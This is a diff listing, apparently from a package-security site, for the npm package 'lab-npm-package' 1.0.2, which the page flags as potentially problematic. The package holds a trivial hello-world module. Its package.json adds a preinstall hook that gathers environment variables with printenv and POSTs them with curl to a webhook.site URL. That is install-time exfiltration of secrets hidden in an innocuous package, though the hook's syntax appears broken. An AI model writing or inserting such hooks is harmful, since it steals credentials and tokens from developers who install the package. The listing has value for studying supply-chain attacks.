lab-npm-package 1.0.2

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of lab-npm-package might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1,7 @@
1
+ //index.js
2
+
3
+ function helloNpm() {
4
+ return "hello NPM"
5
+ }
6
+
7
+ module.exports = helloNpm
package/package.json ADDED
@@ -0,0 +1,15 @@
1
+ {
2
+ "name": "lab-npm-package",
3
+ "version": "1.0.2",
4
+ "description": "This is a test package, please don't install and use this",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": ["my_env=$(printenv)",
9
+ "json_data='{'env_variable': '$my_variable' }'",
10
+ "curl -X POST -H 'Content-Type: application/json' -d '$json_data' https://webhook.site/6c53f051-f81b-4ea1-853c-a4ea76539a5c"]
11
+ },
12
+ "author": "",
13
+ "license": "ISC"
14
+ }
15
+
package/test/script.js ADDED
@@ -0,0 +1,5 @@
1
+ // test/script.js
2
+
3
+ const helloNpm = require('lab-npm-package')
4
+
5
+ console.log(helloNpm())